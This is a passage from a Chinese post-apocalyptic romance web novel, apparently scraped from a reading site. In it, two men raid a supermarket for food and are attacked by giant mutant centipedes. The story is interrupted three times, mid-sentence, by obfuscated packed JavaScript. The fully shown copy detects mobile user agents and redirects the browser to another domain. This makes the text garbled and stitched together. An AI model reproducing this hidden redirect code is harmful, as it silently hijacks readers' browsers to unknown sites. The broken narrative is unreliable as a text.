吴罪琢磨着,忽然看到江玄灵从楼上下来往客厅走,吴罪随手拉住江玄灵的手腕:“你多高?” 江玄灵今天穿了一件浅色的上衣,被吴罪一拽有点重心不稳,向后踉跄了一步靠在了墙上,轻轻嗯了一声。 吴罪被那声嗯弄的浑身都麻了,他真不明白江玄灵为什么看上去纯良无害弱不禁风的,但一举一动一皱眉之间总有种说不出来的……魅惑,偏偏他自己又似乎完全意识不到,这一点本身更是勾人。 “问你呢。”吴罪有点不自在。 江玄灵抬头看着他:“我其实不怎么量。” 吴罪看着他漂亮的眼睛,吞咽了一下:“有一米八吗?” 江玄灵犹豫着,不远处的褚玥却笑着替他说了:“肯定有了,小江那身材就像衣架子似的。” “吴罪哥哥你不要欺负江哥哥啦!”跳跳跑过来。 吴罪身高足足有一米九出头,居高临下地攥着江玄灵的手腕,把人按在墙上,看上去确实像在霸凌,吴罪赶紧松手,冤枉极了:“我哪有欺负他!” 跳跳拉住江玄灵的手把人拽走:“我还要教江哥哥下跳棋呢!” 一米八,江玄灵那么高的怪物,会长得什么样子呢?有迷惑性……难道说长得很可爱,或者很温顺? 吴罪注视着江玄灵的背影,脑海中浮现出了奇怪的猜想,比如大号的兔子,或者泰迪熊。 “有一双”什么呢?一双翅膀?一双奇怪的耳朵?还是一双长在脑门上的眼睛? “就像这样,隔着一个跳一下,谁先全部跳到对方阵营里就算赢。”跳跳兴致勃勃地教江玄灵,江玄灵坐在对面点点头,修长的手指拎起一颗跳棋子,“我大概明白了。” 吴罪愣了一下,这家伙难道连跳棋都不会?还需要小朋友现教?不可能吧,大概是哄跳跳的。 然而看了一会儿吴罪才发现,江玄灵居然是真的第一次下,他甚至不知道能连着跳。 “我赢了!”跳跳开心地大叫起来。 吴罪凑上前去看了看棋局,扭头问江玄灵:“你该不会真是外国间谍吧。” 江玄灵看上去有点无奈,叹了口气,边收拾棋盘边说:“我不知道你,但我家里小时候是不管我的,也没有人陪我玩这些游戏。” 吴罪噎住了,脑海里瞬间又脑补出了无数的画面。 显赫身份的小少爷,从小由家庭教师一对一教育,没有朋友没有玩伴,闲的时候只能坐在窗台边看风景…… 吴罪几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不不不……“褚玥的手都在发抖,又拿起一个罐头,刚离地就有汤汤水水从罐子的洞里漏了出来,方便面、罐头、饼干……被老鼠破坏的几乎占了80%。 褚玥瘫坐在地,吴罪走到她身后轻轻拍了拍:“没事,今天晚上我再去一趟超市。” - 吴罪回屋收拾东西,没有子弹的枪已经变成了摆设,好在还有刀子。 他把自己身上的三把军刀一横排摆在桌上,挨个检查刀刃状态,确定没有问题之后一一插进腰间和小腿的刀鞘里。 这种世道下每一次出门都是赌命,褚玥其实不想让他出去冒险,但是不出去,一屋子的人迟早都得饿死。 吴罪不知道自己有没有江玄灵上次的运气,怪物每天都在进化,现在超市里的怪物是什么水平他完全不得而知,只能做好万全的准备。 实在不行,还有变异能力。 吴罪张开手掌,试图感受当初那股能量,却发现根本无法控制,那种力量就像是无源之水,只有在危机时刻才会忽然出现,平时就连感受到都很难。 韩沐说九号基地代号孤星的怪物有精神力,自己的变异能力也是精神力吗? 实验体会不会和末世的发生有关系?他会遇到实验体吗? 正想着,外面忽的有人敲门,吴罪放下手掌:“进来。” 门把手被按下,江玄灵推开门:“晚上我和你一起去。” 吴罪把他拽进来,又把身后的门关上,把江玄灵按坐在床上。 “你别去了,”吴罪压低声音,“你在家里我放心些。万一我回不来,母女俩起码还有个人照顾。” 江玄灵看着他,有点无奈地摇头笑了笑:“你好像很习惯操心。” 吴罪的心里微微触动了一下,他是很喜欢操心,小时候大概还不是这样的,但后来父亲去世,他操心母亲,进了部队之后操心战友。 他习惯了对周围的人负责,把他们照顾好,就像是某种使命和职责,时间太久几乎变成了本能。 “我还操心你呢黛玉,”吴罪故作轻松地笑着俯身看他,“你跟我去万一晕倒了怎么办?就你这小体能……” 江玄灵毫无预兆地站了起来,吴罪原本就是弯腰俯身的姿势,差点和他直接贴脸,下意识后撤了一步。 这一次,被顶在墙上的变成了吴罪。 “褚玥和跳跳比你想象中更坚强,倒是你,”江玄灵和他的距离极近,视线从吴罪的眼睛缓缓向下,不知道在哪停留了一秒,又慢条斯理地扫上来,“你一个人,能行吗?” 18.保护欲 砰砰。砰砰。 吴罪从来不知道心跳居然能这么大声,在耳膜里打鼓似的撞。 从他的角度可以清楚的看清江玄灵脸上的每一个细节,他几乎是完美的,挑不出半点瑕疵,清冷又柔和、精明又纯真,几种矛盾的特征在他身上形成了恰到好处的融合,最终形成了看不透的神秘感。 “你学会怎么运用你体内的能力了吗?是不是觉得有点困难?”江玄灵的声音仿佛带着某种蛊惑,抬手轻轻按在了吴罪的小腹上,“尝试着把能量凝聚在这里,我能看见,这是你能量的源头。” 吴罪的小腹肌肉猛的一缩,差点喘气出声。 江玄灵轻声安抚:“放松。” 汹涌的热流瞬间涌向小腹,吴罪分不清那究竟是能力还是其他,下一秒所有的能量都汇集在小腹,终于再也压制不住。 轰的一下,一股小型的气浪从吴罪身体内部掀出,江玄灵被撞的向后,吴罪一把搂住他的腰,把他压在了身后的床上。 空气里格外安静,只能听到两人的喘息。 “看来是学会了。”江玄灵的姿态完全放松,歪头笑起来。 吴罪则完全相反,他单手撑在江玄灵耳侧,呼吸急促得几乎有些粗重。 “所以晚上还是带上我吧,我不仅仅可以知道你使用能力,还能告诉你怪物的致命弱点在哪。”江玄灵像是毫无察觉,还在说的晚上事,“我们会是很好的搭档。” 吴罪忽的猛然捏住了江玄灵的下巴。 江玄灵被迫仰头,吴罪和他四目相对,每一个字都像是从后槽牙咬出来的:“不许拿香水。” 江玄灵:“……” 吴罪松开他,看似镇定地转身下了床,然后飞快地逃离了房间。 - 超市里的东西不是无穷无尽的,虽然去的人大多有来无回,但是总有几个成功的,几番下来,留下来的东西已经不多了,再不下手,可能就不剩什么了。 大概天刚黑的时候,吴罪和江玄灵就出了门。 路程大概过了三分之一的时候,就接连有东西借着夜色的隐蔽从四周各处冒出来袭击他们。 “站在我后面,”吴罪跨步挡在江玄灵面前,横刀一挥,瞬间把一只黑影劈到了地上。 “还挺好用。”吴罪颠了颠手中的晾衣竿,晾衣杆的一头绑着一把长军刀,像一支长枪,忽的他注意到了什么,向后侧低头一看,发现江玄灵居然抓着他的衣角。 “哎哟吓着了?”吴罪忍不住笑起来,心里有点说不出的痒,他打小就有种隐秘的爱好,最喜欢看别人示弱,别人依赖他会让他心里油然而生一股保护欲,也有种自己很强大的感觉。 江玄灵缓缓松开他:“天黑看不清路。” 不承认?吴罪哼笑一声。 不得不说有的时候吴罪有的时候是有点坏的,眼看前面就是超市了,忽的又有怪物袭击,吴罪故意打歪了,那蝙蝠怪物闪过他向着江玄灵猛扑过去,吴罪在那家伙几乎要扑到江玄灵脸上的时候才猛然出手,把怪物狠狠拍在了地上。 他得意地站在那里等着惊魂未定的江玄灵扑进他怀里,赞美他的英勇,然而下一秒就发觉不对。 江玄灵脸都白了,捂着胸口大口大口地喘息。 “喂你没事吧!”这回轮到吴罪吓坏了,立刻冲过去扶住江玄灵,“怪物已经被我拍死了,伤不了你,你别怕……哎你怎么了!” 江玄灵扶着墙蹲了下去:“我有点难受。” 一句话就让吴罪魂飞魄散,简直后悔死了自己的混蛋行为。 江玄灵是一般人吗?那可是江黛玉。 “没事的没事的深呼吸,”吴罪赶紧帮他顺着胸口的气,一边轻轻拍他后背,“我故意吓唬你的,有我在,那东西能碰着你吗?” 江玄灵过了好一会儿才缓过来,有点哀怨地抬头看着他:“第二次了。” 吴罪愣了一下。 “我的小命已经第二次差点交代在你手里了,”江玄灵幽幽地说,“还记得上次你用刀柄戳我肚子吗?” 吴罪都结巴了:“我……我那是……” “没有危险的时候你就是最大的危险,”江玄灵扶着吴罪的肩膀,有些费力的站起来,看上去有点无奈,又有点可怜,还有不易察觉的哀求,“吴长官,对我好点行不行?” 吴罪完全哑巴了,然后耳朵一点点飞速涨红。 对他好一点?要怎么好? 多照顾照顾他?不,都主动开口了肯定不能是这么低的标准,难道是无微不至的照顾? 怎么算是无微不至的照顾?每时每刻日日夜夜? 吴罪脑子里烟花炸响。 卧槽,难道他离不开我了? 江玄灵的手无声无息地伸进口袋,把刚才蹲下时从地上捡起来的金色小球捏碎吸收了。 这是今天的第五个了。 吴罪真的很好用,自己就在他身后捡漏,一点力气不用出。 忽然,吴罪郑重地拍了拍他的肩膀:“我同意了。” 江玄灵:“?” “以后咱俩睡一屋。”吴罪宣布,“我今晚回去就把楼下的被子搬上去。” 话音未落,身旁的胡同里忽然传来了声音,吴罪特种兵的反应速度和攻击力瞬间拉满,刚要攻击,却听黑暗里传来了紧张的人声:“等等!” 胡同里闪出五六个人影,有男有女,看样子都是二三十岁的年轻人,手里拿着棍棒厨房刀之类的防身工具,为首的是个男生,年龄稍微大一些,抬起一只手示意吴罪不要误伤:“我们只是路过。” 吴罪眯起眼睛,手里的长枪却没放下,江玄灵默默地后退一步躲到了他身后。 “你们也是去超市吧?”男生看上去体格强壮,手臂的肌肉有健身锻炼的痕迹,他的另只手拿着一把菜刀,刀刃在月色的反射出明晃晃的寒光,视线不动声色地把吴罪扫视了一圈,似乎是在评估他的实力。 然后他看到了吴罪脚下的死亡的怪物尸体,男生在转瞬间做出了判断,双手都举了起来:“我们井水不犯河水,各凭本事。” 吴罪眉头微皱,他不怕竞争者,再来十个也不是他的对手,他也也没想过独占超市资源,但是他怕有人添乱。 人越多越会吸引更多怪物,到时候获取食物的难度会成倍加大。 忽的,男人注意到了吴罪背后的一抹紫色,猛的倒吸一口凉气,震惊地抬手指向江玄灵:“是你!” 他身后的众人也都认出了江玄灵,瞬间变得激动:“上次单枪匹马带走一购物车食物的人?”“真是他!紫色头发的!” 这群人正是上次在窗户边围观江玄灵的那群,因为团建被困在别墅里的公司职员。 吴罪挡在江玄灵面前冷声说:“好好说话,瞎指什么。” 那语气中的不悦和占有欲太强烈,对面瞬间安静了下来,江玄灵拍了拍吴罪的肩膀从他身后走出来:“我上次全凭运气好,但确实有些经验,我朋友也很厉害,你们愿意的话,我们可以组队,食物平分。” 健身男背后的男生女生都心动了,这是他们第一次尝试出来觅食,还没走几步,刚才已经有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你家都有谁?你爸妈?”吴罪看似随口问,“小女朋友是不是也等着你回家呢?” “我没有女朋友。” 吴罪的心情莫名有点好:“长那么帅怎么还单身?该不会有老婆吧?” 江玄灵哭笑不得:“吴罪,你还能打探得再明显点吗?” 说着说着已经到了超市后门,门把手被破坏,刚才那拨人显然已经进去了,吴罪收起了脸上玩闹的神色,对江玄灵摆摆手:“跟紧我,遇到不对你就跑。” “上次我来的时候里面有三只变异老鼠,体型都不小,”江玄灵没回应他上句话,压低声音,“小心一点。” 吴罪:“放心,不会让你守寡的。” 江玄灵:“……” 推开后门进去,里面一片漆黑。手电筒咔嗒一声打开,吴罪扫视四周:这里是超市的仓库,架子上的食物基本上已经被搬空了,靠墙的位置摆着四个装冷冻物品的大冰柜。 他上前掀开其中一个,发现里面空空如也。 “上次来这里就是空的,”江玄灵的声音在空阔的仓库里有轻微的回音,“仓库是最容易下手的地方,大概末世一开始就被人抢光了,左边有扇门能进到超市里面。” “你上次是怎么躲过那三只老鼠的?”吴罪问。 江玄灵:“我进来的时候它们正在吃一具尸体,没看见我。” “运气够好,”吴罪走到左侧的门边,一手紧握长枪,一手攥住门把手,回头看向江玄灵一笑,“希望咱们这次也有这么好的运气。” 说罢他猛的推开了门! 19.受伤 推开门的瞬间,吴罪骤然愣住了。 “哇哈哈哈哈我们发财了!” “快快快把吃的都装进去!” “这么多吃的!够吃一个月了!不!两个月!半年!” “早知道多叫几个人来了!咱们几个根本运不回去啊!” 刚才的六个公司员工正在超市里疯狂地把食物装进购物车里,仿佛末日狂欢一样,他们大声笑着,激动不已。 超市里一只怪物也没有,除了地上已经发黑干涸的血迹,没有一点危险的影子。 “早知道超市里没危险我们早就该出来!!”一个女生疯狂往购物车里狂塞泡面。 零食区的另一个眼镜男把一整排的薯片都搂到了购物车里。 健身男双手抱臂站在走廊当中对同伴们冷笑道:“还不是你们贪生怕死,要是早听陈总和我们项目主管的,至于饿好几天?领导坐到领导的位置都是有道理的,比你们看得都远。” 只有一个瘦瘦的男生有点犹豫,边装牛奶边回头对一旁的短发女生小声说:“我怎么觉得有点瘆得慌,咱们还是……” “林一诺,你是不是脑子有点毛病?”健身男听见了瞬间暴怒,张嘴就骂人,忽然看见了角落里推门而入的吴罪和江玄灵,不由神色一冷。 “大家手上动作都快点,能多装就多装,带不走的都是别人的,下次来可没有了。”健身男阴阳怪气地催促着手下,并不和吴罪起正面冲突,也抓起一辆购物车开始迅速装东西,生怕被吴罪他们占了一点便宜。 吴罪眉头微蹙,却被江玄灵拉住了手臂。 “先别着急拿吃的,”江玄灵压低声音,“情况不太对。” 吴罪低声回应:“我知道。” 他原本也没想着立刻去抢吃的,这里的平静太诡异了,且不说上次江玄灵来的时候这里还有三只变异老鼠,就说这一路上他们遇到了那么多怪物,怎么可能就偏偏超市里没有? 吴罪给了江玄灵一个眼神示意,二人沿着墙边继续向前,经过一排排的货架,他们看到年轻人每人面前都至少装满了两个购物车的食物,还在拼命地往上面摞或者往缝隙里塞。 吴罪没有停留,带着江玄灵一直向前,最前面的是生鲜区,那里的食物早就坏了,没有人来抢,显得格外冷清。 “你闻到了吗?”一股呛人的恶臭从生鲜区最后面的角落里散发出来,江玄灵捂住鼻子皱眉道,“不像是食物腐坏的味道,倒像是……” 吴罪向前跨出最后一步,生鲜区的廊道映入他眼中:“尸体。” 三只巨大的怪物老鼠以极其诡异的姿势扭曲地死在墙角,身体呈现反弓的样子,每一只的肚子上都被掏出了一个巨大的口子,里面的内脏和肉已经被吃光了,月光下,似乎有什么东西在它们的腹中一团团地罗列着。 吴罪抬起手电照过去——那赫然是乳白色的虫卵。 后背上的汗毛一片片地立了起来,吴罪胸口起伏,然而并不只是因为虫卵,手电筒的光一点点向上抬起照向后方,老鼠的尸体后方不远处,地上有一团巨大的蜈蚣蜕皮,湿哒哒的粘液顺着边缘滴落在地上,那皮分明是刚褪下来不久! 刷哒哒哒—— 有什么密集的脚步声从头顶过去了。 “跑!!”吴罪爆发出声嘶力竭的咆哮,抓着江玄灵就往外跑。 几乎是同时他们旁边的走廊猛然爆发出尖叫:“什么东西!啊啊啊啊!!——” 蜈蚣从房顶上毫无预兆地扑向眼镜男,锋利的口器一口咬住了他的脖子,毒素瞬间注入,眼镜男的惨叫划破云霄,身子扭曲痉挛,反弓到了不可思议的程度,然后脊椎骨咔嚓一声折断了。 怪不得没有变异老鼠了,因为有了更可怕的变异生物占领了超市! 狂欢的天堂瞬间变成了可怕的地狱,所有人都在失声尖叫,反应快的叫小林的男生拉着短发女生就跑。然而在这片尖叫中,还有人舍不得放弃吃的。 吴罪拉着江玄灵狂奔向来时的小门,发现一个长发妹子居然还在疯狂地往购物车里塞东西。 “快跑!别管吃的了!!”吴罪一把薅住人家的马尾辫把人拽了过来,用力往她后背上一推,“要吃的还是要命!” 长发妹子踉跄了两步差点摔倒,扭头就要破口大骂,却看见天花板上一条足足有一人粗的巨大黑影飞速向他们爬来。“啊啊啊啊!——”这回根本不用催,长发妹子撒腿狂奔出了博尔特的速度。 江玄灵大声叫:“小心!蜈蚣既然能产卵就说明至少有一公一母!别往那里……” 妹子哪里顾得上,下意识往空荡的地方冲,忽的阴影里弹射出另一只巨大的黑影,一口就把她拖进了黑暗里。 “这边!”吴罪心跳狂飙到了一百八,拉着江玄灵猛然转向拐入一条过道,却不曾想和健身男狭路相逢。 健身男原本就对他们充满恶意,此时都在逃命,并肩跑路,不用他们做垫脚石还在等什么?想也不想用力往江玄灵身上狠狠一撞! 稀里哗啦!—— 江玄灵重心不稳,连带着吴罪一起摔在了旁边的货架上,货架上的水果罐头劈头盖脸地砸下来,吴罪下意识把江玄灵护在怀里,紧接着一个葡萄罐头就砸在他左侧眼眶上。 汁水爆开的一瞬间吴罪就看不见了。 那一刻吴罪心里想得居然是,完了,这回江玄灵不用守活寡,要我和我一起殉情了。 下一秒模糊的眼前忽的闪过一抹紫光,吴罪不知道那是真的紫光,还是自己的眼睛在被砸了之后出现的幻觉。 他只觉得面前腥风呼啸,蜈蚣冲到了他们面前又突然调转了方向,等了好几秒都没有预想中的疼痛,紧接着背后居然传来了健身男的惨叫。 “走!”江玄灵一把提起他的胳膊肘,这家伙居然力气还挺大,拉着他就往门口跑。 吴罪闭眼狂奔:“它怎么放弃我们去找健身男了!” “谁知道!可能肌肉多的更好吃一点!” 吴罪顿时感觉受到了冒犯:“那最好吃的应该是我啊!” 江玄灵撞开左侧小门拉着吴罪冲了出来,吴罪的眼前什么都看不清,刚才混乱之中长枪也掉了,完全被江玄灵拉着跑,忽的他感觉江玄灵停下来,按住了他的脑袋厉声说:“跳进去蹲下!” 顾不上多想,吴罪抬手果然摸到一个箱体的边缘,立刻一跃而入蹲下去,江玄灵紧跟其后跳到了他旁边,然后飞快地盖上了盖子。 狭小的空间里两人几乎紧挨在一起,吴罪抬手就摸到了光溜溜的内壁。 是后门仓库里的冷柜! “你……”他刚张嘴,修长的手指就按在了他的唇上。 “别出声。”江玄灵的声音压的极低,“怪物来了。” 刷哒哒哒哒—— 无数密集的腿爬过墙面,外面发出让人浑身起鸡皮疙瘩的细小摩擦声。 两人肩并肩挨在一起,可能是视觉受损后嗅觉更灵敏了一些,江玄灵身上的淡淡花香似乎比往日更浓烈,吴罪感觉自己像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13598910|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人都泡在花海里,居然有些恍惚。 是什么花呢? 以前只觉得这个味道特别好闻,现在似乎还觉得有点熟悉。 两只怪物的口器发出咯咯哒哒的声音,像是在交流,忽然它们猛地顶开了第一个冰柜的盖子,两只蜈蚣一起疯狂朝里面发起攻击。 哐哐哐!—— 几声巨响之后,第一个空冰柜被撞翻的声音在仓库里回响。 刷哒哒哒…… 爬行的声音越来越近,蜈蚣又逼近了第二个冰柜。 双眼看不见的紧张让吴罪的心跳越来越快,冷汗从毛孔中渗透出来,他清晰地听到了蜈蚣的脚扒在第二个冰柜上的轻微声响,甚至能听到它缓缓掀起盖子时轴承的吱呀轻响。 然后第二个空柜子又被猛的撞翻了。 “我们在第几个?”吴罪用非常轻的声音问。 “第四个。” 两个人胳膊挨着胳膊,吴罪能感觉到江玄灵浑身僵硬,身体在轻微地发抖。 忽的,外面的蜈蚣好像听到了什么,刷哒哒哒的爬行声骤然停下,就连两只蜈蚣交流时候口器一开一合碰撞的声音都没有了。 死一般的寂静显得无比诡异,吴罪从脚边抽出备用匕首,从没觉得自己的心跳居然这么大声,他感觉自己浑身的汗毛都立了起来,身旁的江玄灵颤抖得越发厉害,吴罪在黑暗中摸索着握住他的手,紧紧抓住。 “还记得在门口我和你说的话吗?”吴罪很轻很轻地说。 遇到不对你就跑。 江玄灵没有回应。 吴罪的视力一片模糊,在黑暗之中完全看不到江玄灵的表情,他有些着急,捏了捏江玄灵的手:“一会儿它们一掀开盖子我就用精神力攻击,你趁机跑,听到没。” 忽的,他感觉自己的眼睛被轻轻抚摸上。 江玄灵的手指很凉很冰,很舒服,低声说:“现在看来,谁更利他一点呢?” 就在这时外面的蜈蚣好像终于确认了发出声音的柜子,直接越过第三个扑向吴罪和江玄灵所在的冰柜! 江玄灵厉声喝道:“刀子戳我手电筒指到的位置,那是它们的能量源!” 下一秒冰柜的盖子被猛的撞开,两只巨大的蜈蚣像是泰山压顶一样朝他们扑下来。 吴罪拽着江玄灵一跃而出,猛的扑倒在地上,紧接着他看见手电筒的光源瞬间打在右边蜈蚣的胸口位置。 江玄灵:“这里!” 几乎是同一时刻吴罪翻身而起,本能地汇集全身的精神力灌满手腕猛刺了过去! 刷啦!— 蜈蚣的胸口被剖开一个巨大的口子,□□稀里哗啦地喷出来,它巨大的身体痛苦地扭动,发出了撕心裂肺的叫声。 直到这个时候吴罪才忽然发现自己居然能看见了! 他立刻四处去找江玄灵的身影,然而下一秒他就看见另只蜈蚣做出了攻击的姿势,口中发出嘶嘶的暴怒声。 “江玄灵!” 吴罪浑身的血液都凝固了,他看见江玄灵正在坐在地上喘息,而蜈蚣正猛的咬向他的颈部大动脉。 吴罪狂奔过去一把抓住了江玄灵的手臂,猛的扯向自己怀里,几乎是同一时刻蜈蚣一口咬住了江玄灵的肩膀。 “唔!”江玄灵发出一声痛苦的闷哼。 吴罪只觉得一股巨力猛的将自己怀里的江玄灵强行扯走,力道之大完全不是人类所能抗衡,怀里一下子空了。 蜈蚣飞快地将江玄灵拖进了黑暗里。